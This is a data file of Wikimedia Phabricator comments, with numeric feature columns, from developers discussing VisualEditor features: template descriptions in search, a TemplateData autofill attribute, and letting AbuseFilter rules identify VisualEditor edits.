+[[https://gerrit.wikimedia.org/r/203459]]",,,1429262905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,93,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442168,Template search results list should contain each template's descripton,"Change 203459 had a related patch set uploaded (by Mooeypoo):
+Show template description in the template search
+
+[[https://gerrit.wikimedia.org/r/203459]]
+",,,1428697842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+248115,Template search results list should contain each template's descripton,"Thanks for the explanation, I've now reported it as bug 51822.",,,1374511823,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+248105,Template search results list should contain each template's descripton,"(In reply to comment #4)
+> (In reply to comment #3)
+> > > If I type ""book"", template ""Cite book"" is not shown, which limits the search
+> > > functionality to be useful only for people who already know template names
+> > > (i.e. those who don't need it).
+> > 
+> > That is a distinct enhancement request; please open a new bug for it.
+> 
+> Is it distinct or is it part of bug 51670?
+
+It's distinct. This is asking for VisualEditor when searching pages (for links), categories (for the category dialog) and templates (for the transclusion dialog) to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion.",,,1374509714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,True,,,3,,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+248098,Template search results list should contain each template's descripton,"(In reply to comment #3)
+> > If I type ""book"", template ""Cite book"" is not shown, which limits the search
+> > functionality to be useful only for people who already know template names
+> > (i.e. those who don't need it).
+> 
+> That is a distinct enhancement request; please open a new bug for it.
+
+Is it distinct or is it part of bug 51670?",,,1374508615,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+248091,Template search results list should contain each template's descripton,"(In reply to comment #2)
+> Also typing a word only shows template names starting with that word, not
+> containing it, which is a weird search behavior.
+> 
+> If I type ""book"", template ""Cite book"" is not shown, which limits the search
+> functionality to be useful only for people who already know template names
+> (i.e. those who don't need it).
+
+That is a distinct enhancement request; please open a new bug for it.",,,1374507636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+248087,Template search results list should contain each template's descripton,"**turingt** wrote:
+
+Also typing a word only shows template names starting with that word, not containing it, which is a weird search behavior.
+
+If I type ""book"", template ""Cite book"" is not shown, which limits the search functionality to be useful only for people who already know template names (i.e. those who don't need it).",,,1374502086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+248083,Template search results list should contain each template's descripton,"Also typing in 'new' into the New template box returns a list of 10 templates starting with 'new', with no way to scroll through the longer list of templates starting/containing with 'New'
+
+https://en.wikipedia.org/wiki/Special:PrefixIndex/Template:New
+
+More practical, 'New Zealand' or 'New York' only returns 10, and the user may not know the right keyword needed to return better results.",,,1374462543,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0
+53428,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","In addition to the existing ""default"" attribute for each template parameter, that would be useful to have an ""autofill"" attribute for each template parameter:
+* ""default"" is the value that will be used by the template if the parameter is not specified
+* ""autofill"" could be used for indicating that when inserting a template in a article with VE (or other editor), some parameters should be created automatically with a given value.
+
+I think for example of some templates that have a date parameter to be filled with the date at which the template was inserted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373959860,1411171613.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-t4nrv75pjo2r4cxn47di,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+247675,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","Change 157820 merged by jenkins-bot:
+Implement new 'autovalue' parameter property
+
+https://gerrit.wikimedia.org/r/157820",,,1411169862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+247672,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","Change 157820 had a related patch set uploaded by Jforrester:
+Implement new 'autovalue' parameter property
+
+https://gerrit.wikimedia.org/r/157820",,,1409939258,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+247666,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","This is generally worked around by wikis by providing another template that when substituted inserts the autofill parameters.
+
+e.g.
+
+{{subst:newdelete|reason=Foo}}
+-> 
+{{delete|reason=Foo|date=YYYY-MM-DD}}
+
+These templates need a ""must-subst"" property of sorts in template data first (bug 65550), but that would make this easier already.
+
+The subst-behaviour is a super set of the scope of this bug (autofill values), however it may be enough.
+
+The problem with a declarative autofill (as opposed to substituting a wrapper template) is that you'd need a fair amount of logic to express what you want to be filled in. Obviously you don't just want a literal string to be inserted, because then you'd just have users omit it and use that value as the default value.
+
+With autofill you most probably want a dynamic value (e.g. the result of invoking a template, or magic words like current date/times, current revision user, base page name etc. Some of these (like date) could be trivially done, but that still leaves a lot of questions (how to specify the date etc.) and compatibility.
+
+So I'd say let's solve bug 65550 first and see how that unfolds. If we still feel a need for this we can revisit it later.
+
+This should additionally be helpful since subst-ing is that wikis do now without VisualEditor so they likely have that in place already and will want to keep that for wikitext users.",,,1400616978,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,True,,,46,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+247661,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","I almost submitted a new bug, but saw this one in the ""possible duplicates"" at the last second... Pasting the text I wrote, in case it helps:
+
+
+Most cleanup templates, banner and inline, have a ""|date={{CURRENTMONTHNAME}} {{CURRENTYEAR}}"" parameter.
+
+If we don't add them, then (on En.Wiki) AnomieBot adds them a few minutes later*, which clutters the history, and more importantly Buries the initial edit in watchlists, making it harder for us humans to check.
+
+*eg. https://en.wikipedia.org/w/index.php?title=Red_squirrel&curid=638291&diff=572563931&oldid=572553559
+
+
+Could we have an ""Add current month and year"" button, for parameters like this?
+
+Or, a tweak for TemplateData so that specific templates will add this parameter/value by default?",,,1378952753,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0
+247657,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","From Bug 52028:
+TemplateData should allow some parameters to have default values which are
+prefilled when using the VisualEditor transclusion manager. 
+
+An example would be the current date for accessdate in citation templates.",,,1375183561,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+247652,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified",*** Bug 52028 has been marked as a duplicate of this bug. ***,,,1375183466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247646,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","This seems like a nice improvement, though I worry that it sets up an expectation that a client may not honour.",,,1374507813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+53421,VisualEditor: Allow AbuseFilter rules to identify VE edits,"I would like to request that some flag or other indicator be added such that abuse filter rules can tell whether the edit is coming from VE or from the source editor.
+
+Because the abuse filter tends to encourage different sorts of editor errors, it would be useful to know which interface is being used when editing.  For example, a nowiki tag added by the source editor is almost certainly intentional, while a nowiki added by VE is probably an accident and should be tagged for inspection.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T54281}",Medium,50.0,1373945100,,PHID-USER-fuj45iylbizjg3yhehjt,False,,False,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_description,open,True,c1,3,False,False,,2,,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1607402,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Change 456418 **abandoned** by Daimona Eaytoy:
+[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter
+
+Reason:
+
+
+https://gerrit.wikimedia.org/r/456418",,,1603885261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,382,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1133086,VisualEditor: Allow AbuseFilter rules to identify VE edits,"@matmarex That hurts :/ Adding a parameter would be surely working, but also highly specifical code which shouldn’t be the first choice; unless other parts of the code throughout MediaWiki will need to know if the current edit comes from VE. Before giving up, is there something else in the global scope which could help us?",,,1535697999,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0
+1132919,VisualEditor: Allow AbuseFilter rules to identify VE edits,">>! In T53421#4546351, @Daimona wrote:
+> Is there something in the request which can uniquely identify VE edits? Sorry for asking, but I cannot set up Parsoid on my wiki and thus can't test VE.
+
+Not really. VE just calls the action=edit API internally (from PHP code), see ApiVisualEditorEdit::saveWikitext(). However, maybe you can add some magic parameter there and handle it on the other end in the AbuseFilter hook handler. I am not sure how it all works on the inside, you might need to experiment a bit :/",,,1535663319,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,269,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+1132795,VisualEditor: Allow AbuseFilter rules to identify VE edits,"To complete the patch, I need a way to determine whether the edit being saved comes from VE or not (yep, the main part). The main thing we have access to is the current WebRequest. Is there something in the request which can uniquely identify VE edits? Sorry for asking, but I cannot set up Parsoid on my wiki and thus can't test VE.",,,1535650055,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+1132766,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Change 456418 had a related patch set uploaded (by Daimona Eaytoy; owner: Daimona Eaytoy):
+[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter
+
+[[https://gerrit.wikimedia.org/r/456418]]",,,1535648306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1132618,VisualEditor: Allow AbuseFilter rules to identify VE edits,"I'm sorry, I may have missed something, but... wouldn't it be much easier to generate a dedicated AF variable inside VisualEditor using AF hooks? This would avoid messing up with change tags and request params, and it's also the way used to distinguish edits coming from e.g. mobile app or mobile version.",,,1535636345,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+788500,VisualEditor: Allow AbuseFilter rules to identify VE edits,">>! In T53421#2905524, @jhsoby wrote:
+> Now with the 2017 wikitext editor I think this should get a priority bump, seeing that it too uses ?veaction instead of ?action, which makes it impossible (AFAIK) to use edit filters to identify those edits.
+
+The action URL path is a poor guide to the source of edits (see the Special:Edit or whatever it's called tool, the mobile Web wikitext and visual editors, and other mechanisms). Anyone trying to capture edits by use of the URL path is going to fail pretty terribly.
+
+I also don't agree that this is a particular priority. People have been editing using different tools for years without the software allowing discriminatory edit validation.",,,1483735245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,183,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+784647,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Now with the 2017 wikitext editor I think this should get a priority bump, seeing that it too uses ?veaction instead of ?action, which makes it impossible (AFAIK) to use edit filters to identify those edits.",,,1482964388,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,182,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+247245,VisualEditor: Allow AbuseFilter rules to identify VE edits,"(In reply to comment #10)
+> The original request was merely for the AbuseFilter to somehow be made aware
+> whether or not an edit had come from VE as opposed to source editing.  
+> 
+> For example, the Abuse Filter is aware of ""action="" but not ""veaction="".  At
+> present ""action=edit"" and ""veaction=edit"" look identical to the AbuseFilter.
+
+Adjusting comment accordingly.
+
+> I think the suggestion that AbuseFilter should somehow be allowed process
+> tags generated by other entities is actually an unnecessary (and more
+> complicated) diversion.
+
+Sure.",,,1375214945,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+247240,VisualEditor: Allow AbuseFilter rules to identify VE edits,"The original request was merely for the AbuseFilter to somehow be made aware whether or not an edit had come from VE as opposed to source editing.  
+
+For example, the Abuse Filter is aware of ""action="" but not ""veaction="".  At present ""action=edit"" and ""veaction=edit"" look identical to the AbuseFilter.
+
+I think the suggestion that AbuseFilter should somehow be allowed process tags generated by other entities is actually an unnecessary (and more complicated) diversion.",,,1375206737,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+247235,VisualEditor: Allow AbuseFilter rules to identify VE edits,"s/invisible to VE/invisible to AF/. I swear, I did proofread that. :)",,,1375206441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+247230,VisualEditor: Allow AbuseFilter rules to identify VE edits,"s/attempts/happens/, of course.",,,1375206175,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+247225,VisualEditor: Allow AbuseFilter rules to identify VE edits,"AF's hook attempts *during* save, in EditPage#runPostMergeFilters and ApiEditPage#execute (the second one is only used to present nicer information about saving failure in the API and is what VE is actually hitting, but that doesn't matter here).
+
+VisualEditor's ApiVisualEditorEdit calls the edit API first (#saveWikitext) and only after it has succeeded calls ChangeTags::addTags to add the tags to the edit.
+
+So to make this work, we'd have to adjust code in core, in AbuseFilter and in VE to allow passing change tags with the edit API call or in some magical way before it. It'd make the logic really awkward (since tags could now be added before/during and after making the edit, and the second kind would be invisible to VE) and likely introduce back-compat issues (for the same reason).
+
+There are also requests to make the tags editable by users (bug 18670), which generally seems like a pretty good idea, but complicates the issue here even further.
+
+So to summarize, I don't see this happening, but feel free to prove me wrong if you think you can tackle this :)",,,1375206102,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+247220,VisualEditor: Allow AbuseFilter rules to identify VE edits,"(In reply to comment #5)
+> I'm pretty sure it's impossible to do this since any kind of tags can be only
+> added after an edit is saved (ChangeTags::addTags() function requires the
+> edit to have a know rev_id which implies that it already exists in the
+> database).
+
+Does AF's hook happen after VE's save (which applies tags), at least?",,,1375203722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1
+247218,VisualEditor: Allow AbuseFilter rules to identify VE edits,I'm pretty sure it's impossible to do this since any kind of tags can be only added after an edit is saved (ChangeTags::addTags() function requires the edit to have a know rev_id which implies that it already exists in the database).,,,1375203423,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+247216,VisualEditor: Allow AbuseFilter rules to identify VE edits,"**nykevin.norris** wrote:
+
+Wait, if the AbuseFilter is going to understand tags, and already applies tags, what order will filters run in?  What if a later filter applies a tag that would have triggered an earlier filter?  Should MW just keep re-running the filters until everything's been triggered?",,,1375203347,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0
+247215,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Can the abusefilter detect veaction=edit. Using that and we could block edits which insert nowikis from the VE when they are almost always in error and allow them from wikitext editor, when they are normally ment.",,,1375201847,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
